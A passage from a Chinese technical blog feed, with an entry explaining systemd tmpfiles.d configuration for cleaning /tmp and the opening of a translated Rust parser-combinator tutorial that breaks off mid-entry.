&lt;h2 id=&quot;can-kao&quot;&gt;参考&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;savannah-checkouts&#x2F;gnu&#x2F;bash&#x2F;manual&#x2F;bash.html#Arrays&quot;&gt;https:&#x2F;&#x2F;www.gnu.org&#x2F;savannah-checkouts&#x2F;gnu&#x2F;bash&#x2F;manual&#x2F;bash.html#Arrays&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;savannah-checkouts&#x2F;gnu&#x2F;bash&#x2F;manual&#x2F;bash.html#Shell-Commands&quot;&gt;https:&#x2F;&#x2F;www.gnu.org&#x2F;savannah-checkouts&#x2F;gnu&#x2F;bash&#x2F;manual&#x2F;bash.html#Shell-Commands&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>tmp临时目录清理规则</title>
        <published>2024-12-05T00:00:00+00:00</published>
        <updated>2024-12-05T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/tmp临时目录清理规则/"/>
        <id>https://vercel.juzhong.asia/obsidian/tmp临时目录清理规则/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/tmp临时目录清理规则/">&lt;h1 id=&quot;tmplin-shi-mu-lu-qing-li-gui-ze&quot;&gt;tmp临时目录清理规则&lt;&#x2F;h1&gt;
&lt;h3 id=&quot;tmpfiles-d-miao-shu&quot;&gt;tmpfiles.d 描述&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;tmpfiles.d 配置文件定义了一套临时文件管理机制，主要用于管理易变的临时文件与目录，例如：&#x2F;run、&#x2F;tmp、&#x2F;var\tmp、&#x2F;sys、&#x2F;proc、&#x2F;var 下面的某些目录。 根据这些配置，在系统启动过程中创建易变的临时文件与目录，并在系统运行过程中进行周期性的清理。 守护进程经常需要在 &#x2F;var 目录下拥有专属的运行时目录，以存放通信套接字或管道之类的文件。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;pei-zhi-mu-lu-ji-you-xian-ji&quot;&gt;配置目录及优先级&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;对于不同目录下的同名配置文件，仅以优先级最高的目录中的那一个为准。具体就是：&#x2F;etc&#x2F;tmpfiles.d 的优先级最高，&#x2F;run&#x2F;tmpfiles.d 的优先级居中，&#x2F;usr&#x2F;lib&#x2F;tmpfiles.d 的优先级最低。 软件包应该将自带的配置文件安装在 &#x2F;usr&#x2F;lib&#x2F;tmpfiles.d 目录中，而 &#x2F;etc&#x2F;tmpfiles.d 目录仅供系统管理员使用。 如果系统管理员想要屏蔽 &#x2F;usr&#x2F;lib&#x2F; 目录中的某个配置文件，最佳做法是在 &#x2F;etc&#x2F; 目录中创建一个指向 &#x2F;dev&#x2F;null 的同名符号链接，即可彻底屏蔽 &#x2F;usr&#x2F;lib&#x2F; 目录中的同名文件。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;pei-zhi-wen-jian-ge-shi&quot;&gt;配置文件格式&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;配置文件的格式是每行对应一个路径，包含如下字段：类型、路径、权限、属主、属组、寿命、参数 #Type Path Mode User Group Age Argument d &#x2F;run&#x2F;tmp	0755	root	root	10d	-&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;类型&lt;&#x2F;p&gt;
&lt;p&gt;类型字段由一个单独的、表示类型的字母与一个可选的感叹号（!）和减号（-）组成。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;f：若指定的文件不存在，则创建它，否则什么也不做；
F：若指定的文件不存在，则创建它，否则清空已有文件；
w：若指定的文件存在，则将参数字段的内容写入该文件，否则什么也不做；
d：创建指定的目录，并赋于指定的 User&amp;#x2F;Group 与权限，如果指定的目录已经存在，那么仅调整 User&amp;#x2F;Group 与权限。如果指定了寿命字段，那么该目录中的内容将遵守基于时间的清理策略；
D：与 d 类似，但如果使用了 --remove 选项，那么将清空目录中的所有内容；
x：根据寿命字段清理过期文件时，忽略指定的路径及该路径下的所有内容，可以在路径字段中使用 shell 风格的通配符，这个保护措施对 r 与 R 无效；
X：根据寿命字段清理过期文件时，仅忽略指定的路径自身而不包括该路径下的其他内容，可以在路径字段中使用 shell 风格的通配符，这个保护措施对 r 与 R 无效；
r：若指定的文件或目录存在，则删除它，不可用于非空目录；
R：若指定的文件或目录存在，则递归删除它，可用于非空目录；
z：若指定的文件或目录存在，仅设置其自身的访问权限、属主、属组、重置 SELinux 安全上下文；
Z：若指定的文件或目录存在，则递归设置其访问权限、属主、属组、重置 SELinux 安全上下文；
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;使用了感叹号标记的行，仅可在系统启动过程中执行，而不能用于运行中的系统（会破坏系统的正常运行），未使用感叹号标记的行，可以在任意时间安全的执行。
systemd-tmpfiles 仅在明确使用了 --boot 选项的时候才会执行使用了感叹号标记的行。

# 例如
r! &amp;#x2F;tmp&amp;#x2F;.X[0-9]*-lock 	# 仅在系统启动时删除所有X11的锁文件（但在系统运行时禁止删除）

如果使用了减号，那么当该行创建（仅限于创建）操作失败时，将不会导致 systemd-tmpfiles 返回错误代码。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;路径&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;路径字段指定文件系统
路径，并且支持使用替换符，替换之后的最终路径必须是绝对路径。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;权限&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;权限字段表示设置文件或目录的权限，如果省略或设为 “-“ 则表示使用默认权限，也就是：对于目录使用 0755，对于文件使用 0644，但对于 z、Z 表示不修改现有的权限，此字段对于 x、r、R、L、t、a 没有意义。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;属主、属组&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;“属主”和”属组”字段分别表示文件或目录的所属用户与所属用户组，可以设为数字形式的UID&#x2F;GID 值，也可以设为字符串形式的用户名&#x2F;组名称。如果省略或设为 “-“ 则表示使用调用 systemd-tmpfiles 命令的用户及组，但对于 z、Z 来说，省略或设为 “-“ 则表示不修改现有的属主和属组。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;寿命(Age)&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;该字段用于判定在清理过期文件或子目录时应该删除哪些，也就是决定了文件或子目录的寿命。如果文件或子目录的最后使用时间与当前系统时间之差大于“寿命”字段的值，那么这些文件或子目录将被删除，此字段的值是一个时间长度，可以使用下面的时间单位后缀： us(微秒)、ms(毫秒)、s(秒)、m(分)、h(时)、d(天)、w(周)。 可以同时使用多个时间单位，例如：5m10s表示5分10秒，如果省略了时间单位，那么表示使用默认单位 “秒”。 如果将此字段设为数字0，那么表示在每次清理时都无条件的删除所有文件或子目录。 此字段仅对 &lt;code&gt;d&lt;&#x2F;code&gt;, &lt;code&gt;D&lt;&#x2F;code&gt;, &lt;code&gt;e&lt;&#x2F;code&gt;, &lt;code&gt;v&lt;&#x2F;code&gt;, &lt;code&gt;q&lt;&#x2F;code&gt;, &lt;code&gt;Q&lt;&#x2F;code&gt;, &lt;code&gt;C&lt;&#x2F;code&gt;, &lt;code&gt;x&lt;&#x2F;code&gt;, &lt;code&gt;X&lt;&#x2F;code&gt; 有意义。如果省略此字段或将其设为 “&lt;code&gt;-&lt;&#x2F;code&gt;“ ，那么表示不进行任何清理。 如果此字段的值以 “&lt;code&gt;~&lt;&#x2F;code&gt;“ 开头， 那么表示在每次清理时都无条件的保留指定目录直属的文件与子目录， 也就是仅清理直属子目录下的内容。 “寿命”是根据对象的最后修改时间(mtime)、 最后访问时间(atime)、 最后状态变化时间(ctime)(目录除外) 计算的。 如果三者(或两者)中最晚的时间与当前系统时间之差大于”寿命”字段的值， 那么该对象就会被删除， 否则该对象将会被保留。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;参数(Argument)&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;“参数”字段对不同的”类型”有不同的作用：对于 &lt;code&gt;L&lt;&#x2F;code&gt; 来说，用于指定软连接的目标路径。 对于 &lt;code&gt;c&lt;&#x2F;code&gt;, &lt;code&gt;b&lt;&#x2F;code&gt; 来说，用于以”主设备号:次设备号”的格式设定设备节点的主&#x2F;次设备号(十进制整数)，例如 “&lt;code&gt;1:3&lt;&#x2F;code&gt;“ 。 对于 &lt;code&gt;f&lt;&#x2F;code&gt;, &lt;code&gt;F&lt;&#x2F;code&gt;, &lt;code&gt;w&lt;&#x2F;code&gt; 来说，用于设置一个写入文件的短字符串(实际写入时会在末尾附加一个换行符)。 对于 &lt;code&gt;C&lt;&#x2F;code&gt; 来说，用于指定源文件或者源目录。 对于 &lt;code&gt;t&lt;&#x2F;code&gt;, &lt;code&gt;T&lt;&#x2F;code&gt; 来说，用于指定将要设置的扩展属性。 对于 &lt;code&gt;a&lt;&#x2F;code&gt;, &lt;code&gt;A&lt;&#x2F;code&gt; 来说，用于指定将要设置的ACL属性。 对于 &lt;code&gt;h&lt;&#x2F;code&gt;, &lt;code&gt;H&lt;&#x2F;code&gt; 来说，用于指定将要设置的文件属性。 对于其他类型无意义，将被忽略。 可以在”路径”(Path)与”参数”(Argument)字段中使用替换符。 不可识别的替换符将会被视为配置错误。 可识别的替换符如下： 替换符含义“&lt;code&gt;%b&lt;&#x2F;code&gt;“系统的”Boot ID”字符串“&lt;code&gt;%C&lt;&#x2F;code&gt;“缓存目录。对于 &lt;code&gt;--user&lt;&#x2F;code&gt; 模式来说是 &lt;code&gt;$XDG_CACHE_HOME&lt;&#x2F;code&gt; ，否则是 &lt;code&gt;&#x2F;var&#x2F;cache&lt;&#x2F;code&gt;“&lt;code&gt;%h&lt;&#x2F;code&gt;“用户的家目录。运行命令的用户的家目录，对于系统实例则是 &lt;code&gt;&#x2F;root&lt;&#x2F;code&gt;“&lt;code&gt;%H&lt;&#x2F;code&gt;“系统的主机名(hostname)“&lt;code&gt;%L&lt;&#x2F;code&gt;“日志目录。对于 &lt;code&gt;--user&lt;&#x2F;code&gt; 模式来说是 &lt;code&gt;$XDG_CONFIG_HOME&lt;&#x2F;code&gt;&#x2F;log，否则是 &lt;code&gt;&#x2F;var&#x2F;log&lt;&#x2F;code&gt;“&lt;code&gt;%t&lt;&#x2F;code&gt;“运行时目录。对于 &lt;code&gt;--user&lt;&#x2F;code&gt; 模式来说是 &lt;code&gt;$XDG_RUNTIME_DIR&lt;&#x2F;code&gt; ，否则是 &lt;code&gt;&#x2F;run&lt;&#x2F;code&gt;“&lt;code&gt;%S&lt;&#x2F;code&gt;“状态目录。对于 &lt;code&gt;--user&lt;&#x2F;code&gt; 模式来说是 &lt;code&gt;$XDG_CONFIG_HOME&lt;&#x2F;code&gt; ，否则是 &lt;code&gt;&#x2F;var&#x2F;lib&lt;&#x2F;code&gt;“&lt;code&gt;%T&lt;&#x2F;code&gt;“临时文件目录。也就是 &lt;code&gt;&#x2F;tmp&lt;&#x2F;code&gt;“&lt;code&gt;%g&lt;&#x2F;code&gt;“运行命令的用户组名称。对于系统实例则是 &lt;code&gt;&#x2F;root&lt;&#x2F;code&gt;“&lt;code&gt;%G&lt;&#x2F;code&gt;“运行命令的用户组数字GID 。对于系统实例则是 &lt;code&gt;0&lt;&#x2F;code&gt;“&lt;code&gt;%u&lt;&#x2F;code&gt;“运行命令的用户名称。对于系统实例则是 &lt;code&gt;&#x2F;root&lt;&#x2F;code&gt;“&lt;code&gt;%U&lt;&#x2F;code&gt;“运行命令的用户数字UID 。对于系统实例则是 &lt;code&gt;0&lt;&#x2F;code&gt;“&lt;code&gt;%v&lt;&#x2F;code&gt;“内核版本(&lt;code&gt;uname -r&lt;&#x2F;code&gt; 的输出)“&lt;code&gt;%V&lt;&#x2F;code&gt;“存放大体积临时文件以及持久临时文件的目录。也就是 &lt;code&gt;&#x2F;var&#x2F;tmp&lt;&#x2F;code&gt;“&lt;code&gt;%%&lt;&#x2F;code&gt;“百分号自身(%)。使用&lt;code&gt;%%&lt;&#x2F;code&gt;表示一个真正的&lt;code&gt;%&lt;&#x2F;code&gt;字符&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;li-zi&quot;&gt;例子&lt;&#x2F;h3&gt;
&lt;p&gt;按照指定的 &lt;code&gt;User&#x2F;Group&lt;&#x2F;code&gt; 与权限创建目录&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;# 在系统启动时按照指定的属主、属组、权限创建两个目录
vim &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;tmpfiles.d&amp;#x2F;supervisord.conf

d &amp;#x2F;var&amp;#x2F;run&amp;#x2F;supervisord 0755 root root 10d
d &amp;#x2F;run&amp;#x2F;supervisord 0755 root root 10d12h
# &amp;#x2F;var&amp;#x2F;run&amp;#x2F;supervisord 中超过10天的内容将被清理；
# &amp;#x2F;var&amp;#x2F;supervisord 中超过12.5 天的内容将被清理；
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;创建一个不会被定期清理的目录&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;# 在系统启动时按照指定的属主&amp;#x2F;属组创建一个目录
vim &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;tmpfiles.d&amp;#x2F;tmp.conf
d &amp;#x2F;var&amp;#x2F;tmp 0777 root root -

systemd-tmpfiles --create 	# 仅用于手工创建，以后开机会自动创建
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;启用系统启动过程中的清理，以及基于时间的清理&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;vim&amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;tmpfiles.d&amp;#x2F;dnf.conf
r! &amp;#x2F;var&amp;#x2F;cache&amp;#x2F;dnf&amp;#x2F;*&amp;#x2F;*&amp;#x2F;download_lock.pid
r! &amp;#x2F;var&amp;#x2F;cache&amp;#x2F;dnf&amp;#x2F;*&amp;#x2F;*&amp;#x2F;metadata_lock.pid
r! &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;dnf&amp;#x2F;rpmdb_lock.pid
e  &amp;#x2F;var&amp;#x2F;cache&amp;#x2F;dnf&amp;#x2F; - - - 30d

# 系统启动过程中将会清理 lock 文件。 &amp;#x2F;var&amp;#x2F;cache&amp;#x2F;dnf&amp;#x2F; 目录中 闲置超过30天的内容将会被删除
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在启动时清空缓存目录&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;vim &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;tmpfiles.d&amp;#x2F;krb5rcache.conf
e! &amp;#x2F;var&amp;#x2F;cache&amp;#x2F;krb5rcache - - - 0

# 在启动时清空 &amp;#x2F;var&amp;#x2F;cache&amp;#x2F;krb5rcache&amp;#x2F; 下的所有内容。即使此目录不存在也不会创建它。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;systemd-tmpfiles&quot;&gt;systemd-tmpfiles&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;描述&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;systemd-tmpfiles 根据配置文件 &lt;code&gt;tmpfiles.d&lt;&#x2F;code&gt; 的指引，创建、删除、清理、易变文件与临时文件。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;选项&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;--create：创建或写入 所有 f, F, w, d, D, v, p, L, c, b, m 标记的文件与目录。 所有 z, Z, t, T, a, A 标记的文件与目录都将被设置相应的 属主&amp;#x2F;属组、权限、安全标签；

--clean：清理 所有过期的 文件与目录

--remove：删除 D, R 标记的目录中的内容，以及 r, R 标记的目录与文件自身

--user：执行&amp;quot;用户&amp;quot;配置，也就是用户配置目录中的 tmpfiles.d 配置文件

--boot：执行带有&amp;quot;!&amp;quot;标记的行

--prefix=PATH：仅作用于 带有特定前缀的路径， 可以多次使用此选项

--exclude-prefix=PATH：忽略 带有特定前缀的路径， 可以多次使用此选项
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;服务&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;# systemd-tmpfiles-clean.service服务通过systemd-tmpfiles-clean.timer服务定时启动
vim &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;systemd-tmpfiles-clean.timer
[Unit]
Description=Daily Cleanup of Temporary Directories
Documentation=man:tmpfiles.d(5) man:systemd-tmpfiles(8)

[Timer]
OnBootSec=15min 		# 相对于机器被启动的时间点（默认开机15分钟执行服务）
OnUnitActiveSec=1d
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;vim &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;systemd-tmpfiles-clean.service
[Unit]
Description=Cleanup of Temporary Directories
Documentation=man:tmpfiles.d(5) man:systemd-tmpfiles(8)
DefaultDependencies=no
Conflicts=shutdown.target
After=systemd-readahead-collect.service systemd-readahead-replay.service local-fs.target time-sync.target
Before=shutdown.target

[Service]
Type=oneshot 	# 这一选项适用于只执行一项任务，随后立即退出服务
ExecStart=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;systemd-tmpfiles --clean		# 通过定期执行该命令完成清理
IOSchedulingClass=idle
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;# &amp;#x2F;tmp 目录的清理规则主要取决于 &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;tmpfiles.d&amp;#x2F;tmp.conf 文件的设定，默认配置内容为:
vim &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;tmpfiles.d&amp;#x2F;tmp.conf
v &amp;#x2F;tmp 1777 root root 10d
v &amp;#x2F;var&amp;#x2F;tmp 1777 root root 30d

x &amp;#x2F;tmp&amp;#x2F;systemd-private-%b-*
X &amp;#x2F;tmp&amp;#x2F;systemd-private-%b-*&amp;#x2F;tmp
x &amp;#x2F;var&amp;#x2F;tmp&amp;#x2F;systemd-private-%b-*
X &amp;#x2F;var&amp;#x2F;tmp&amp;#x2F;systemd-private-%b-*&amp;#x2F;tmp

清理&amp;#x2F;tmp目录超过10天的内容，但是匹配&amp;#x2F;tmp&amp;#x2F;systemd-private-%b-*的目录及其路径下的全部内容会被保留
清理&amp;#x2F;var&amp;#x2F;tmp目录超过30天的内容，但是匹配&amp;#x2F;var&amp;#x2F;tmp&amp;#x2F;systemd-private-%b-*的目录及其路径下的全部内容被保留
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;*参考文档：https:&#x2F;&#x2F;www.jinbuguo.com&#x2F;systemd&#x2F;systemd-tmpfiles.html#*&lt;em&gt;https:&#x2F;&#x2F;www.jinbuguo.com&#x2F;systemd&#x2F;tmpfiles.d.html&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>用Rust学习解析器组合器 combinator</title>
        <published>2024-11-27T00:00:00+00:00</published>
        <updated>2024-11-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/用rust学习解析器组合器-combinator/"/>
        <id>https://vercel.juzhong.asia/obsidian/用rust学习解析器组合器-combinator/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/用rust学习解析器组合器-combinator/">&lt;h1 id=&quot;yong-rustxue-xi-jie-xi-qi-zu-he-qi-combinator&quot;&gt;用Rust学习解析器组合器 combinator&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;fucking-translation&#x2F;blog&#x2F;blob&#x2F;main&#x2F;src&#x2F;lang&#x2F;rust&#x2F;01-%E7%94%A8Rust%E5%AD%A6%E4%B9%A0%E8%A7%A3%E6%9E%90%E5%99%A8%E7%BB%84%E5%90%88%E5%99%A8.md&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;fucking-translation&#x2F;blog&#x2F;blob&#x2F;main&#x2F;src&#x2F;lang&#x2F;rust&#x2F;01-用Rust学习解析器组合器.md&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;本文向已是 Rust 程序员的人们传授解析器组合子的基础知识。它假定不涉及其他知识，并将解释与 Rust 没有直接关系的所有内容，以及为达到此目的使用 Rust 的一些令人意外的特性。如果你不了解 Rust，他不会教你 Rust 的内容，但是这样的话，同样也无法更好的教你解析器和组合子的知识。如果你想要学习 Rust 语言，我推荐 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;book&#x2F;&quot;&gt;Rust 编程语言&lt;&#x2F;a&gt; 这本书。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;beginner-s-mind&quot;&gt;Beginner&#x27;s Mind&lt;&#x2F;h2&gt;
&lt;p&gt;当每个程序员发现自己需要解析器时，它们的生活将变得有意义。&lt;&#x2F;p&gt;
&lt;p&gt;初级程序员将会问：“什么是解析器？”。
中级程序员将会说：“这很简单，我将写一串正则表达式”。
高级程序员将会说：“退一步考虑问题，我知道&lt;code&gt;Lex&lt;&#x2F;code&gt;(词法分析器)和&lt;code&gt;Yacc&lt;&#x2F;code&gt;(语法解析器)”&lt;&#x2F;p&gt;
&lt;p&gt;初级程序员的想法是正确的。&lt;&#x2F;p&gt;
&lt;p&gt;不是说正则表达式不好(但是请不要用正则表达式写复杂的解析器)。使用经过 &lt;code&gt;数千年 (millennia)&lt;&#x2F;code&gt; 磨练至完美的解析器和词法分析生成器之类的强大工具并不是没有乐趣可言。但是从头开始一点一点学习解析器将更有趣。这两者只是对当前实际问题的抽象，如果你直接选择正则表达式或者解析器生成工具，你将失去这一份乐趣。在初学者眼中，正如人们说的：本来(解决这个问题)有很多种方法，但是在专家眼里，已经形成思维定视，只会选择一种他们最习惯的方式。 在本文中我们将从头开始学习如何构建解析器，基于被称为解析器组合子的函数式编程语言的通用技术。一旦你掌握了它们的基本概念，它们的优势将非常巨大，同时又非常接近第一原理。因为这里唯一的抽象是你将在基础的组合子之上构建你自己的抽象。所有这些，你必须先构建它们，才能使用它们。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;how-to-work-through-this-article&quot;&gt;How To Work Through This Article&lt;&#x2F;h2&gt;
&lt;p&gt;强烈建议你初始化一个 Rust 项目，并且在&lt;code&gt;src&#x2F;lib.rs&lt;&#x2F;code&gt;中书写你阅读到的代码片段(你可以直接从页面上直接复制，但是最好还是自己手敲，因为这样会自动确保你完整阅读代码)。本文将按序介绍你需要的每段代码。请注意，有时会引入你先前编写功能的最新版本，这时，你需要将旧版本替换为新版本。&lt;&#x2F;p&gt;
&lt;p&gt;该代码是使用 2018 年语言版本的&lt;code&gt;rustc&lt;&#x2F;code&gt;的 1.34.0 版本编写的。你应该尽可能使用最新版本的编译器，只要你确保你使用的是 2018 的版本即可(检查&lt;code&gt;Cargo.toml&lt;&#x2F;code&gt;文件中是否包含&lt;code&gt;edition = &quot;2018&quot;&lt;&#x2F;code&gt;)。代码不需要任何的外部依赖。&lt;&#x2F;p&gt;
&lt;p&gt;如果要运行本文中的测试用例，请执行&lt;code&gt;cargo test&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-xcruciating-markup-language&quot;&gt;The Xcruciating Markup Language&lt;&#x2F;h2&gt;
&lt;p&gt;我们将用简化的 XML 格式写一个解析器，如下所示：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;parent-element&amp;gt;
  &amp;lt;single-element attribute=&amp;quot;value&amp;quot; &amp;#x2F;&amp;gt;
&amp;lt;&amp;#x2F;parent-element&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;XML 元素使用&lt;code&gt;&amp;lt;&lt;&#x2F;code&gt;符号开头和一个由字母组成的标志符开头，后面可以根任意数量的字母，数字和&lt;code&gt;-&lt;&#x2F;code&gt;。后面跟一些空格，以及一些属性对的可选列表：前面定义一个标识符，后面跟一个&lt;code&gt;=&lt;&#x2F;code&gt;符号和一个双引号字符串，最后以&lt;code&gt;&#x2F;&amp;gt;&lt;&#x2F;code&gt;结尾来表示一个没有子节点的单个元素。或者用&lt;code&gt;&amp;gt;&lt;&#x2F;code&gt;表示后面跟了一串子节点，最终是一个以&lt;code&gt;&amp;lt;&#x2F;&lt;&#x2F;code&gt;开头的结束标签，后跟一个必须与开始标识匹配的标志符，然后以&lt;code&gt;&amp;gt;&lt;&#x2F;code&gt;结束。&lt;&#x2F;p&gt;
&lt;p&gt;这就是我们将要支持的特性。没有命名空间，没有文本节点，其余的都没有，并且没有模式校验。我们甚至都不会自寻烦恼，去实现字符串的转义引号(&lt;code&gt;\&quot;&lt;&#x2F;code&gt;) - 它们由第一个双引号开始，到下一个双引号结束，就是这样。如果你想在实际字符串中使用双引号，你可以将这个不合理的要求转移到其他地方。&lt;&#x2F;p&gt;
&lt;p&gt;我们将用下面的结构体来解析这些元素。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[derive(Clone, Debug, PartialEq, Eq)]
struct Element {
    name: String,
    attributes: Vec&amp;lt;(String, String)&amp;gt;,
    children: Vec&amp;lt;Element&amp;gt;,
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;没有花哨的类型，仅仅用字符串表示名称(那是每个标签开始的标志符)，用字符串元组表示属性(标志符和对应的值)，还有一个看起来和父元素完全一样的子元素列表。&lt;&#x2F;p&gt;
&lt;p&gt;(如果你正在输入，请加上那一系列的&lt;code&gt;derive&lt;&#x2F;code&gt;，你将在后面用到它们)。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;defining-the-parser&quot;&gt;Defining The Parser&lt;&#x2F;h2&gt;
&lt;p&gt;好了，是时候编写解析器了。&lt;&#x2F;p&gt;
&lt;p&gt;解析是从数据流中派生结构的过程。解析器就是要弄清楚该结构的工具。&lt;&#x2F;p&gt;
&lt;p&gt;在我们即将探索的知识中，解析器最简单的一种形式就是一个函数，该函数接受一些输入并返回解析后的输出以及输入的其余部分，或者是一个错误信息：“我无法解析该输入”。&lt;&#x2F;p&gt;
&lt;p&gt;事实证明，简而言之，更复杂的解析器看起来也是如此。如果你要获取友好的错误提示，你可能会使输入，输出和错误的含义复杂化，但是解析器的特征依然如此：消费输入并产生解析后的数据以及输入的其余部分，或者会让你知道无法将输入解析成输出。&lt;&#x2F;p&gt;
&lt;p&gt;让我们将其(解析器)写成函数的形式。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;Fn(Input) -&amp;gt; Result&amp;lt;(Input, Output), Error&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;更具体的说，就我们而言，我们希望可以填充这些类型，就像下面代码块所示。因为我们要做的是将一个字符串转化为&lt;code&gt;Element&lt;&#x2F;code&gt;结构体，并且在这方面我们不想陷入错综复杂的错误提示中，所以当我们不能够解析输入的字符串时，只需返回一段提示错误的字符串即可。&lt;&#x2F;p&gt;
